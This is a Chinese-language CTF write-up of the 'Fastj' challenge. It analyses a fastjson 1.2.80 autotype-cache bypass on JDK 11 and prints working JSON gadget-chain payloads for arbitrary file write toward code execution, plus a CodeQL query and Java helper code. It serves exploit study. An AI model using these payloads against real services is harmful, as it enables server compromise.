京麒ctf Fastj 
期末考结束拉 学学学
 
题目依赖很干净 只有spring 原生的依赖 同时告诉我们是jdk 11  使用的是fj 1.2.80 
fastjson 在1.2.68的时候有一条特殊的链子 only jdk 11 的链子
图来自于https://blog.ninefiger.top/2022/11/11/fastjson%201.2.68%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 
 而 jk 1.2.80 是去掉了这个auotcloseable ,不能通过这个方法添加类了,但是又发现了一个新的类 throwable 可以将它添加到map 里面
之前没分析 现在简单分析下
fj1.2.80 反序列化 fastjson反序列化符合条件的期望类时,会将public字段、构造函数参数加到缓存中
依赖和测试json如下
1 2 3 4 5 <dependency >     <groupId > com.alibaba</groupId >      <artifactId > fastjson</artifactId >      <version > 1.2.80</version >  </dependency > 
1 { "@type" : "java.lang.Exception" , "@type" : "com.fasterxml.jackson.core.exc.InputCoercionException" } 
下断点在**TypeUtils.getClassFromMapping** 简单调试一下 
首先判断这个类从缓存中取出了这个类
跟进这个方法 ,先是直接尝试获取到这个反序列化器,但是获取到的值是null 不存在 继续走下去 走入getDeserializer 函数内
前面的一堆 获取的参数都匹配不上 走入后面的流程
获取到的是**ThrowableDeserializer** 这个
然后就是走入词法分析 继续解析后面的字符串,解析到key为@type 然后走入到checkAutoType 函数内
一系列黑白名单校验之后   就会走入addmapping 加入到缓存中
题目提示了需要我们写入OutputStream 这个类  通过写文件来完成rce  同时告诉我们这个是jdk11 
参考这个
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/ 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 {     "@type": "java.lang.AutoCloseable",     "@type": "sun.rmi.server.MarshalOutputStream",     "out": {         "@type": "java.util.zip.InflaterOutputStream",         "out": {            "@type": "java.io.FileOutputStream",            "file": "/tmp/asdasd",            "append": true         },         "infl": {            "input": {                "array": "eJxLLE5JTCkGAAh5AnE=",                "limit": 14            }         },         "bufLen": "100"     },     "protocolVersion": 1 } 
由于AutoCloseable 在当前(1.280)版本已经被移除 我们需要找到一个其他的方式去添加这个OutputStream
fj1.280 添加缓存机制如下
https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 
我们可以使用codeql 来寻找所有满足缓存条件的类
搜索所有扩展了 Throwable 的类,这些类能够通过递归添加到fj的缓存中去 (感觉写的有点错误)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java class ExtendsThrowable extends Class {   ExtendsThrowable() { this.getASupertype* ().hasQualifiedName("java.lang", "Throwable") } } predicate isThrowableRelated(Class c) {   c instanceof ExtendsThrowable   or    exists (Constructor ctor, Parameter  p, Class outer  |      ctor.getDeclaringType() =  outer  and      p =  ctor.getAParameter() and      c =  p.getType() and      isThrowableRelated(outer )   ) } from  Class cwhere  isThrowableRelated(c) select  c
根据https://github.com/luelueking/CVE-2022-25845-In-Spring 
里面他使用如下的方式写入InputStream
1 2 3 4 5 6 7 8 9 10 {   "a" :  "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }" ,    "b" :  {      "$ref" :  "$.a.a"    } ,    "c" :  "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}" ,    "d" :  {      "$ref" :  "$.c.c"    }  } 
注意到有这样一个类
JsonGenerator,他的实现类里面的UTF8JsonGenerator  能够在使用加载的时候缓存OutputStream
那我们就可以利用这一点加载这个类
1 2 3 4 5 6 7 8 9 10 11 public  class  main {     public  static  void  main (String[] args)  {         ParserConfig.getGlobalInstance().addAccept("com.fasterxml.jackson.core.JsonGenerator" );         String  expjson  = "{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}" ;         JSON.parse(expjson);     } } 
那加载链条就清楚了
1 2 3 4 UTF8JsonGenerator JsonGenerator JsonGenerationException Exception 
第一步 加载JsonGenerationException 后触发他的构造方法,将JsonGenerator 放入缓存
第二部 通过JsonGenerator 将UTF8JsonGenerator 加入缓存
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 public  class  main {     public  static  void  main (String[] args)  {         String  expjson  = "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\"}" ;         JSON.parse(expjson);         expjson = "{\"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {}}" ;         JSON.parse(expjson);         expjson ="{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\"}" ;         JSON.parse(expjson);     } } 
然后就可以通过UTF8JsonGenerator 的构造方法 加载OutputStream
1 {\"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"in\": {} } 
也可以一步到位
1 2 3 4 5 6 {   "a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }",   "b": { "$ref": "$.a.a" },   "c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {} }",   "d": { "$ref": "$.c.c" } } 
任意文件写入 回到1.2.68 这个链子上来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 {     "@type": "java.lang.AutoCloseable",     "@type": "sun.rmi.server.MarshalOutputStream",     "out": {         "@type": "java.util.zip.InflaterOutputStream",         "out": {            "@type": "java.io.FileOutputStream",            "file": "/tmp/asdasd",            "append": true         },         "infl": {            "input": {                "array": "eJxLLE5JTCkGAAh5AnE=",                "limit": 14            }         },         "bufLen": "100"     },     "protocolVersion": 1 } 
关注 MarshalOutputStream 的构造方法
在对象序列化过程中,会调用其内部 OutputStream 的 write 方法;
但是这里的 FileOutputStream 没法子加入缓存中  ,但是题目提供了一个类
继承FilterFileOutputStream
1 2 3 4 5 6 public  class  FilterFileOutputStream  extends  FileOutputStream  {    public  FilterFileOutputStream (String name, String prefix)  throws  FileNotFoundException {         super (name);          if  (!name.startsWith(prefix)) return ;     } } 
就有了第二部写文件的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 {   "@type" : "java.io.OutputStream" ,   "@type" : "sun.rmi.server.MarshalOutputStream" ,   "out" : {     "@type" : "java.util.zip.InflaterOutputStream" ,     "out" : {       "@type" : "com.app.FilterFileOutputStream" ,  ← 自定义类       "name" : "/tmp/test" ,       "prefix" : "/"      },     "infl" : {       "input" : {         "array" : "<base64压缩数据>" ,         "limit" : <解压后的长度>       }     },     "bufLen" : "100"    },   "protocolVersion" : 1  } 
构造写入字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package  exp;import  java.io.ByteArrayOutputStream;import  java.io.IOException;import  java.util.Base64;import  java.util.zip.DeflaterOutputStream;public  class  Array  {    public  static  void  main (String[] args)  {         try  {                          String  input  =  "test" ;                          ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();             try  (DeflaterOutputStream  deflaterOutputStream  =                           new  DeflaterOutputStream (byteArrayOutputStream)) {                 deflaterOutputStream.write(input.getBytes("UTF-8" ));             }                          byte [] compressedBytes = byteArrayOutputStream.toByteArray();             String  encoded  =  Base64.getEncoder().encodeToString(compressedBytes);             int  leng  =  compressedBytes.length;                          System.out.println("Base64 array: "  + encoded);             System.out.println("Length: "  + leng);         } catch  (IOException e) {             e.printStackTrace();         }     } } 
花了点时间,对fj的利用了解更深刻了
还是要联系codeql。。。。
参考
1 2 3 4 https://xz.aliyun.com/news/18127 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/ https://github.com/luelueking/CVE-2022-25845-In-Spring